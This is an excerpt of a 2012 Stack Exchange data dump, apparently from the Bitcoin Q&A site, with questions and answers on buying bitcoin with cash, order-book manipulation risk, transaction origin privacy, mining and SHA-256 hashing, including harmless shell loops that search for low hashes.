  <row Id="3929" PostTypeId="2" ParentId="3928" CreationDate="2012-06-12T00:47:44.747" Score="6" Body="&lt;p&gt;BitInstant has teamed up with an already-existing payment processor. This payment processor is designed to allow those without credit cards make purchases online. The way it works is that you make your purchases, check out, and a special receipt is generated with a transaction ID. At this point the transaction is in a &quot;pending&quot; state, awaiting payment. You take that receipt to a participating location (thousands worldwide), they check the transaction ID from the receipt and your cash and then finalize the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing bitcoins via BitInstant is really no different, except that your &quot;cart&quot; contains Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="153" LastEditDate="2012-06-12T01:13:07.523" LastActivityDate="2012-06-12T01:13:07.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3930" PostTypeId="2" ParentId="3927" CreationDate="2012-06-12T01:51:02.657" Score="3" Body="&lt;p&gt;There has been a rally in price of 10% or more since May, and there is constant supply of new bitcoins entering the market, so some of the cash from the order book has since moved into bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But no doubt, a thicker order book (reflecting lots of buying interest) lessens the risk of a selloff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Mt. Gox's BTC/USD represented 80% or more of the trading volume for all currencies at all bitcoin exchanges it was vulnerable to manipulation during times when there wasn't a thick order book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it takes a length of time to move funds into the exchange (from hours for a wire transfer to several days for Dwolla, for instance) an aggressive seller can profit from manipulation.  The method is to sell heavily into a small order book, and then put in bids there at the lower level to buy back coins at from &quot;weak hands&quot; who fear a further selloff and sell into those bids.  By the time additional USD funds arrive at the exchange from other buyers, the manipulator might have been able to buy back the entire number of coins sold but at a lower price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the BTC/USD market at Mt. Gox has dropped to a threshold near the 50% mark (of all currencies traded on all markets), a manipulator no longer has a vice-like grip on all bitcoin markets by controlling just the BTC/USD at Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of the Mt. Gox BTC/USD market leading the price moves, it now sometimes lags.  Thus during a selloff, trading markets at other exchanges might have some order depth at higher levels and thus the manipulator doesn't get to buy back as many bitcoins because the sellers go elsewhere to get a better price.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-06-12T01:56:28.953" LastActivityDate="2012-06-12T01:56:28.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3931" PostTypeId="2" ParentId="396" CreationDate="2012-06-12T04:49:33.933" Score="5" Body="&lt;p&gt;Hashrate distribution An estimation of hashrate distribution amongst the largest mining pools&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/pools&quot; rel=&quot;noreferrer&quot;&gt;http://blockchain.info/pools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-12T04:49:33.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3932" PostTypeId="1" AcceptedAnswerId="3933" CreationDate="2012-06-12T08:21:47.867" Score="2" ViewCount="124" Body="&lt;p&gt;Since the supply model of a currency is a key factor in it's economic properties, I think it would be interesting to experiment with supply models that could be changed easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could perhaps then be linked to some other external factor which could be objectively ascertained with the resilience of the p2p structure like for example, available fresh water, carbon or population. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have there been any efforts in this direction?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2012-06-12T21:40:53.900" Title="Has anyone patched the code to experiment with the currency supply model?" Tags="|economic-theory|money-supply|prediction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3933" PostTypeId="2" ParentId="3932" CreationDate="2012-06-12T11:31:15.843" Score="3" Body="&lt;p&gt;There have been various experiments in this regard. The &lt;a href=&quot;https://bitcointalk.org/index.php?board=67.0&quot; rel=&quot;nofollow&quot;&gt;Alternate Cryptocurrnecies sub-forum&lt;/a&gt; is full of them. If I recall, Tenebrix and/or GeistGeld removed the halving block sizes, resulting in a coin without a cap on the number of coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=44682.0&quot; rel=&quot;nofollow&quot;&gt;EnCoin&lt;/a&gt;, and alt whose price is supposed to be based on the cost of electricity.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-06-12T11:31:15.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3934" PostTypeId="1" AcceptedAnswerId="3936" CreationDate="2012-06-12T15:22:58.753" Score="10" ViewCount="5077" Body="&lt;p&gt;I'm working on some stats and I was wondering if the relayed by IP on Blockchain.info can be used to get an approximate (country level) origin of the transaction. Would it be reasonable to assume that this &lt;a href=&quot;http://blockchain.info/tx-index/8720654/b9f4b6799d2ff07e5ae026bd4187207b2000f4584ee65e64ed1f9ea7e5bee503&quot;&gt;transaction&lt;/a&gt; has been originated somewhere in Wisconsin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that, yes, the network creates a random topology, but due to verification overhead first few relay points are bound to be within a few hops from the origin.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-10-27T23:11:38.987" Title="Locating transactions by the relayed by IP in blockchain.info" Tags="|block|blockchain.info|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3935" PostTypeId="1" CreationDate="2012-06-12T19:17:19.660" Score="5" ViewCount="281" Body="&lt;p&gt;Some time ago the breakdown was dangerously close to heaving too heavily towards Deepbit with only a small part unknown/single person miners. Now there's a 34% unknown factor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What caused this? Are these botnets? People deciding their amortised profit stablises anyway? A drug cartel laundering money?&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="5406" LastEditDate="2016-03-31T10:18:06.303" LastActivityDate="2016-03-31T10:18:06.303" Title="Unknown factor in bitcoin pool breakdown" Tags="|mining-pools|hashpower|money-laundering|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3936" PostTypeId="2" ParentId="3934" CreationDate="2012-06-12T21:22:51.083" Score="9" Body="&lt;p&gt;It is possible, but it is also quite easy to hide your activity from such inquiries. For example, lets check Address 15VjRaDX9zpbA8LVnbrCAFzrVzN7ixHNsC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address-relayed-ips/15VjRaDX9zpbA8LVnbrCAFzrVzN7ixHNsC&quot; rel=&quot;noreferrer&quot;&gt;http://blockchain.info/address-relayed-ips/15VjRaDX9zpbA8LVnbrCAFzrVzN7ixHNsC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that most often it appears in the USA, with a dominant IP being 69.164.218.197 . If we check that IP with &lt;a href=&quot;http://bgp.he.net/ip/69.164.218.197&quot; rel=&quot;noreferrer&quot;&gt;another tool&lt;/a&gt;, we can see that it was owned by Linode. And indeed, this is the address of the Bitcoin Faucet, that used to be hosted on Linode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you were to say, &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;noreferrer&quot;&gt;start your Bitcoin with -connect flag&lt;/a&gt; and specify an IP that you know will be running Bitcoin most of the time and not be malicious (such as a trusted pool, the Faucet, or the like), your transactions will appear to come from that IP. Switch the IPs every now and then, and you have a total control of what other people can see the origins as.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, it is possible to infer some information about what IP owns which Bitcoin Address, but it is also possible to hide such data if there are any trusted nodes on the Bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-12T21:22:51.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3938" PostTypeId="2" ParentId="3932" CreationDate="2012-06-12T21:40:53.900" Score="1" Body="&lt;p&gt;You should look into &lt;a href=&quot;http://www.digitalcoin.info/&quot; rel=&quot;nofollow&quot;&gt;Digital Coin&lt;/a&gt; concept. It allows anyone to issue their own currency and control it, thus allowing for any supply and demand model. Bitcoin fits into the concept nicely as a &quot;standard of value&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of private currencies that are linked to prices of various items, such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Ven_%28currency%29&quot; rel=&quot;nofollow&quot;&gt;Ven&lt;/a&gt;. There is not much stopping anyone from creating new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, trying to control Bitcoin's supply other than buying and selling it would be quite hard. People wouldn't welcome for example trying to go against the reward drop.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-12T21:40:53.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3939" PostTypeId="1" CreationDate="2012-06-13T10:29:05.093" Score="11" ViewCount="1118" Body="&lt;p&gt;I have heard that the maximum block size means that the Bitcoin network has a maximum throughput. What is this maximum?&lt;/p&gt;&#xA;" OwnerUserId="277" LastEditorUserId="5406" LastEditDate="2015-05-08T10:10:14.050" LastActivityDate="2015-05-08T10:10:14.050" Title="What is the maximum throughput of the Bitcoin network? (2013)" Tags="|network|scalability|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3940" PostTypeId="2" ParentId="3939" CreationDate="2012-06-13T12:03:33.267" Score="9" Body="&lt;p&gt;The current block size limit is 1MB, but this is likely to be changed in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are about 500B, so the current limit is 2000 transactions per block, or about 3 per second.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-13T12:03:33.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3941" PostTypeId="1" AcceptedAnswerId="3942" CreationDate="2012-06-13T13:03:25.207" Score="9" ViewCount="1123" Body="&lt;p&gt;Does mining a block mean that anyone else who was working on mining a block loses their progress and must restart?&lt;/p&gt;&#xA;" OwnerUserId="277" LastEditorUserId="5406" LastEditDate="2016-03-07T10:44:58.903" LastActivityDate="2016-03-07T10:44:58.903" Title="Does mining a block force others to restart their work?" Tags="|blockchain|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3942" PostTypeId="2" ParentId="3941" CreationDate="2012-06-13T13:57:29.880" Score="14" Body="&lt;p&gt;Yes and no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new block is created, everyone on the network must discard old work and use the new information provided (assuming they don't want to create forks). It does lead to some small performance loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, creating a block is more or less like playing a lottery - there is no real &quot;progress&quot; per se, you are just trying more and more tickets until you win something. When a new block is created you don't have a situation of &quot;10% left, I lost so much work&quot;, as there is no telling whether there actually IS a solution to the particular configuration of a block you were creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, yes, everyone must start over when a new block is created, but they don't lose much (aside from some small performance drop due to stale shares).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-06-13T15:12:24.217" LastActivityDate="2012-06-13T15:12:24.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3943" PostTypeId="2" ParentId="3935" CreationDate="2012-06-13T15:17:40.810" Score="2" Body="&lt;p&gt;It is unlikely that we will account for most of the activity, as Bitcoin allows for high anonymity. Some of that hashing power is believed &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3332/323&quot;&gt;to come from some botnet&lt;/a&gt;, but one can't be sure. You could try looking for the owners of the IPs that relay the new blocks and check who they are, but that would be a tedious work that could be easily hidden, for example by relaying blocks through TOR.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-06-13T15:17:40.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3944" PostTypeId="2" ParentId="3941" CreationDate="2012-06-13T15:19:20.013" Score="5" Body="&lt;p&gt;In effect, every time someone sends a new transaction to the network that the miner accepts it changes the block that the miner is trying to solve, since the new transaction gets added to the currently unsolved block and which changes the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since solving blocks is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_process&quot;&gt;Poisson process&lt;/a&gt; there is no &quot;progress&quot; towards finding a block and these changes don't cause miners to lose progress.  Each hash you try either solves it or doesn't.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-13T15:19:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3945" PostTypeId="1" CreationDate="2012-06-13T18:58:58.793" Score="11" ViewCount="5404" Body="&lt;p&gt;I keep coming across answers in questions on this site and on the wiki saying that the protocol might need to be changed in the future to create more scalability / security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that it is difficult to update the protocol now that there are so many different people involved and so much invested in the current protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could the bitcoin protocol be updated?  Has this ever occurred to date?&lt;/p&gt;&#xA;" OwnerUserId="1465" LastEditorUserId="1465" LastEditDate="2012-06-13T19:25:04.460" LastActivityDate="2022-01-30T12:22:17.710" Title="How could the bitcoin protocol be changed? Has this ever occurred?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3946" PostTypeId="1" AcceptedAnswerId="3951" CreationDate="2012-06-13T19:50:50.630" Score="5" ViewCount="7530" Body="&lt;p&gt;So as my understanding goes, there's some input (block header) that needs to be altered (via a nonce or other mechanism) which is run through a SHA256 to generate an output with X amount of leading 0's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried (manually), just for fun, to find an input that will hash out to even 2 consecutive leading 0's with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find an input, so that I can hash it, to a correct output?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-06-17T23:59:52.077" Title="Where can I see an input that will hash to a solution?" Tags="|sha256|nonce|hash|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3947" PostTypeId="2" ParentId="3946" CreationDate="2012-06-13T20:08:09.363" Score="0" Body="&lt;p&gt;See the Merkle Tree Example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;note that the byte order for displaying these hashes is basically&#xA;  exactly backwards vs. normal notation I'm using hex strings without&#xA;  quotes to show bytes-as-they-would-be-in-memory and in quotes to show&#xA;  uint256s in hex like in blockexplorer or returned by bitcoin rpc&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tx hashes for that block:&#xA;  &quot;3a459eab5f0cf8394a21e04d2ed3b2beeaa59795912e20b9c680e9db74dfb18c&quot;&#xA;  &quot;be38f46f0eccba72416aed715851fd07b881ffb7928b7622847314588e06a6b7&quot;&#xA;  &quot;d173f2a12b6ff63a77d9fe7bbb590bdb02b826d07739f90ebb016dc9297332be&quot;&#xA;  &quot;59d1e83e5268bbb491234ff23cbbf2a7c0aa87df553484afee9e82385fc7052f&quot;&#xA;  &quot;f1ce77a69d06efb79e3b08a0ff441fa3b1deaf71b358df55244d56dd797ac60c&quot;&#xA;  &quot;84053cba91fe659fd3afa1bf2fd0e3746b99215b50cd74e44bda507d8edf52e0&quot;&#xA;  again, that's when you read them as uint256s, little-endian all the&#xA;  way, so &quot;bytes in memory&quot; those really are:&#xA;  8cb1df74dbe980c6b9202e919597a5eabeb2d32e4de0214a39f80c5fab9e453a&#xA;  b7a6068e5814738422768b92b7ff81b807fd515871ed6a4172bacc0e6ff438be ...&#xA;  so, to start the merkle building, we do sha256(sha256(h1 . h2)) for&#xA;  the first two result:&#xA;  2dd3ce205cf8d03f773d46d24becfd72c766deaa0d1327d7e4c810265f59a313 again&#xA;  read it backwards because we display stuff in little-endian, and...&#xA;  &quot;13a3595f2610c8e4d727130daade66c772fdec4bd2463d773fd0f85c20ced32d&quot;&#xA;  looks familiar? do the same for &quot;d173...&quot; and &quot;59d1...&quot; and...&#xA;  &quot;f6ae335dc2d2aecb6a255ebd03caaf6820e6c0534531051066810080e0d822c8&quot;&#xA;  last pair...&#xA;  &quot;a751efbeabe73bdf9d08df5760104feff915d9d807d4c62178cdeb98d8c25f43&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;now we only have 3, so last one gets concat'd with itself&#xA;  &quot;13a3595f2610c8e4d727130daade66c772fdec4bd2463d773fd0f85c20ced32d&quot;&#xA;  &quot;f6ae335dc2d2aecb6a255ebd03caaf6820e6c0534531051066810080e0d822c8&quot;&#xA;  gives&#xA;  &quot;59545fd8dfdd821ca7accecab0655d77437f5bba5aaa5ea8c042a26bc9ae514b&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;a751efbeabe73bdf9d08df5760104feff915d9d807d4c62178cdeb98d8c25f43&quot;&#xA;  &quot;a751efbeabe73bdf9d08df5760104feff915d9d807d4c62178cdeb98d8c25f43&quot;&#xA;  gives&#xA;  &quot;15eca0aa3e2cc2b9b4fbe0629f1dda87f329500fcdcd6ef546d163211266b3b3&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;and final level of the tree&#xA;  &quot;59545fd8dfdd821ca7accecab0655d77437f5bba5aaa5ea8c042a26bc9ae514b&quot;&#xA;  &quot;15eca0aa3e2cc2b9b4fbe0629f1dda87f329500fcdcd6ef546d163211266b3b3&quot;&#xA;  gives&#xA;  &quot;9cdf7722eb64015731ba9794e32bdefd9cf69b42456d31f5e59aedb68c57ed52&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=44707.msg534605#msg534605&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=44707.msg534605#msg534605&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-13T20:08:09.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3948" PostTypeId="2" ParentId="3945" CreationDate="2012-06-13T20:13:38.157" Score="6" Body="&lt;p&gt;Easy.  In the source code add a conditional.  For example, if the protocol were needing to be changed for all verifications after block 200,000 then the pseudo code for that is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If block &amp;lt;= 200,000:&#xA; # Do it the old way.&#xA;Else:&#xA; # Do it the new way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem isn't technical it is political.  If that change causes me pain (e.g., inflate the currency at a higher rate) then I am not going to want to accept any version of the code that does something that I don't want to see happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any change needs to get buy in (concensus), from the developers, miners and ... most importantly, those who will accept bitcoins under the new rules in exchange for something of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an unwanted change is pushed forward without being widely accepted, a blockchain fork will occur, and the losing side (generally the fork with the new rules) essentially gets ignored as if it didn't even exist by the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been several changes to the protocol as well as changes to the implementation in the client. Some are planned well in advance (e.g., BIP 16), and some are in response to a problem (e.g., Aug 2010's value overflow).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents&quot;&gt;https://en.bitcoin.it/wiki/Incidents&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-06-13T20:26:40.887" LastActivityDate="2012-06-13T20:26:40.887" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3949" PostTypeId="2" ParentId="3946" CreationDate="2012-06-13T20:15:32.937" Score="2" Body="&lt;p&gt;I had the same problem about a year ago. You should perhaps look into hashing the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;Genesis Block&lt;/a&gt;. In its hex form, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When properly hashed, it should take a form of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f (can appear in reverse order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just note that the hashing function can be a bit tricky at times.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-13T20:15:32.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3950" PostTypeId="2" ParentId="3945" CreationDate="2012-06-13T20:22:39.290" Score="2" Body="&lt;p&gt;It has been changed in the past. For example, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#version&quot; rel=&quot;nofollow&quot;&gt;version message&lt;/a&gt; was updated. It was carried out by basically saying: &quot;Okay, on this and this date, the protocol will be changed&quot; and giving enough time for non-standard clients to update. Then, at a predefined time all clients updated their protocol version internally and started communicating in the normal way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem with protocol updates, is that once they are introduced, more often than not a majority of clients need to be updated before the change is scheduled, or there will be a lot of mess. This is a case for both the non-standard clients (which means their owners need to be up-to-date with the changes) and the standard client.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-13T20:22:39.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3951" PostTypeId="2" ParentId="3946" CreationDate="2012-06-13T20:45:00.353" Score="6" Body="&lt;p&gt;Ordering the bytes that make up a block so that you can hash them seems to be fairly complex, but if all you're looking for is an arbitrary string that hashes to something beginning with a few zeroes, you can search using a simple shell command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ i=0; while true; do echo -n $i | sha256sum | grep -q '^000' &amp;amp;&amp;amp;&#xA;      echo $i $(echo -n $i | sha256sum); ((i++)); done&#xA;  886 000f21ac06aceb9cdd0575e82d0d85fc39bed0a7a1d71970ba1641666a44f530 -&#xA; 1039 00037f39cf870a1f49129f9c82d935665d352ffd25ea3296208f6f7b16fd654f -&#xA; 3633 00039a15178b11924de22fd1a02f6efb00d8af33c171a6b67614871e8d6012da -&#xA; 5848 000c15d0ea8224c9649c9adee30c3030ee769b2b5f6d6594f94d446adf60396b -&#xA;12823 000b07fd81c1770b514fb2998527b682c4600e0e76868011bae89a265505f652 -&#xA;20069 0002dc999ce736640267221e6a004da4b837667ca7de5c8eb92832927495013f -&#xA;21098 0007256972781977cbceab0e2cbdc57e20512a6f2975296852029da5bc8aad30 -&#xA;21244 0002a1cf14e9c1acaa8255fd6777d916d3aec6bc1f3c8a3d0a3a89a5eba87970 -&#xA;22244 00092cab56c063b7dadedbb2282decacf40d6eb31319a7ef9a6e7e7a5e0d49b7 -&#xA;23452 000f910e13e5d1b34df0a3a0fb537acaf513be60d650286e45dcdbd3d8e698f6 -&#xA;30050 000954408f96d137e3cfe0711be7856f44c4b6821d5a5d4955c87748a34118ed -&#xA;32754 000faf0e6178d6edb8490f90dcbbc33d33bf0de4783b5722bdcefff05d8748b1 -&#xA;41697 000580eb995f2a45fffce7c2651e542668ea65c1b4b89f5057601698894009ae -&#xA;48559 000eb4a177d716901148633ce477d51675b2677ba45fbc0da5125d35e1feb52b -&#xA;51623 0006412efdac205d9da274bf441e567da353fc59ee098239255bf532c9562e90 -&#xA;53278 0006220135126a47891f08c4dea54763bcb3675d322e49f064ed80c1491a422a -&#xA;60147 000f008e65121d99595e27fcb7a6ba12bc85db5289bd36b00a2654170d8d8404 -&#xA;64478 00060ae0df51bd4b2a190eb8d8bd927426601899b2bbee136a4d06dd1f39159b -&#xA;65565 000b1e1a1268f245d534e7c9ea2cef6c7123e66c9ffa5ea8848e2319d163662f -&#xA;77379 00064a5ab8c2a955d74b6b1e537d76314c61811323c803dd38cbe1c9ed111620 -&#xA;84057 0006da78c87d0454d102ec03e609a7b1a22381693e020ab1ebdf0050af9f7a7c -&#xA;86423 0009d671d687b1e712a501a25b1887bb93d091144d294a03e7368df35faeebfc -&#xA;88484 0000a456e7b5a5eb059e721fb431436883143101275c4077f83fe70298f5623d -&#xA;90947 000318ec4d26f57a5facb03401d2f879a4b5c3cb95bc2bdca378ce078833733d -&#xA;91415 0001528a3705455624f234a9066cca979b7516cdc417f5e39845b32eb107d467 -&#xA;94286 000846f85c9630becba208506e1585d2b09340e33860887403a56fd4eeaa7ea0 -&#xA;96635 0001da624eada828c3f744b73bacd8e15cf0d3e288bd092d68167dd1bab66e76 -&#xA;96952 00064ea7e7d6798cc16d9e7723150ee9a170416f05a61b7d45edd2c28ecd69f6 -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I'm hashing digit strings and searching for hashes which begin with at least three zeroes.  You would expect to find one every 4096 attempts on average, but we got lucky and found three in the first 4096 attempts.  The shell command would run forever.  I cut off the output once after the first 100,000 attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would expect to find a hash beginning with 4 zeroes every 65,536 attempts, and it actually takes us 88,484 attempts to find the first one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n 88484 | sha256sum&#xA;0000a456e7b5a5eb059e721fb431436883143101275c4077f83fe70298f5623d  -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The '-n' flag to echo means 'just output 88484, don't put a newline on the end'.  The newline would change the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can also search through the list of words in the official Scrabble dictionary to find the five with hashes that begin with four or more zeroes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat ~/sowpods.txt | tr A-Z a-z | while read x; do echo -n &quot;$x&quot; |&#xA;      sha256sum | grep -q '^0000' &amp;amp;&amp;amp; echo $x $(echo -n $x | sha256sum); done&#xA;debearded 0000fa20ee307c4f15a53bf69ae0ca1c66c675b0ae94781ff5b6f8cff90ebcca -&#xA;goaltenders 00002e68c9d3d1fc5d3178bee91040efbeb4ac9ea7722c834fa5d71b2e3845cd -&#xA;guilefulness 0000d79e1c6964e6806e9bbdaaaecb63dfabdb498f72bf28944119de1fe90d63 -&#xA;mismatchment 0000bb6ede9f29a01d35e15320229aa0fbd73cf8eb8bc0aac80d6a97fba63fee -&#xA;santalins 00008514dabda7cffdb10f57e492fadbd8e0cab00427e0bfa4f54248b602a4f0 -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the same for uppercase words:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat ~/sowpods.txt | while read x; do echo -n &quot;$x&quot; |&#xA;      sha256sum | grep -q '^0000' &amp;amp;&amp;amp; echo $x $(echo -n $x | sha256sum); done&#xA;APPLICANT 0000ca01adc973c2a5a8e6a30134f07396d088b6d65025292f6ff97b237cab4d -&#xA;JACKEROOED 0000182955fd82edd0acc949ea5050a0f8c7107c5dbed07f94f474cc1c31be90 -&#xA;KYE 0000331b9f8ffef05bbee59dca2a7b03e281e22bf1d3d9324f607ad8eb1fbb64 -&#xA;RECREANCES 0000392b2a9f2d9ff2bbc35b8fddfdbb91f73cb7a43602782280ae69d13146e3 -&#xA;SCHILLERIZE 000010f44bb61a7805f10dbd90c3c51a67da52001858ee45e0d015c38a344fb1 -&#xA;STRIVINGLY 000034f8005572e686cc2f4628107bd16e339d86cbe4d5309105ebb42e8b07dd -&#xA;UNDETERRED 00006433ddbde4028b88a4ca8d6c578641462697134bd1936693a1f1b05b4224 -&#xA;WIDDIES 000000c71f1bda5b63f5165243e10394bc9ebf62e394ef7c6e049c920ea1b181 -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice &lt;a href=&quot;http://www.merriam-webster.com/dictionary/widdy&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;WIDDIES&lt;/code&gt;&lt;/a&gt; is the only one with a hash starting with five zeroes (it actually begins with six zeroes - a 1 in 16.7 million chance), making it the (official British English scrabble) word with the lowest sha256 hash.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-06-17T23:59:52.077" LastActivityDate="2012-06-17T23:59:52.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3952" PostTypeId="1" AcceptedAnswerId="3954" CreationDate="2012-06-13T22:52:35.967" Score="18" ViewCount="17219" Body="&lt;p&gt;I understand that you can't buy Bitcoins with a credit card due to massive fraud problems involving chargebacks. Why is Bitcoin more susceptible to this then the thousands of other businesses that take credit card payments for non-physical products (say, RPGNow, Bandcamp, iTunes and so on). &lt;/p&gt;&#xA;" OwnerUserId="520" LastEditorUserId="323" LastEditDate="2012-06-14T00:11:12.327" LastActivityDate="2018-03-15T20:42:05.717" Title="Why is Bitcoin so susceptible to credit card fraud?" Tags="|theft|buy-bitcoins|fraud|chargeback|bitcoin-credit-card|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
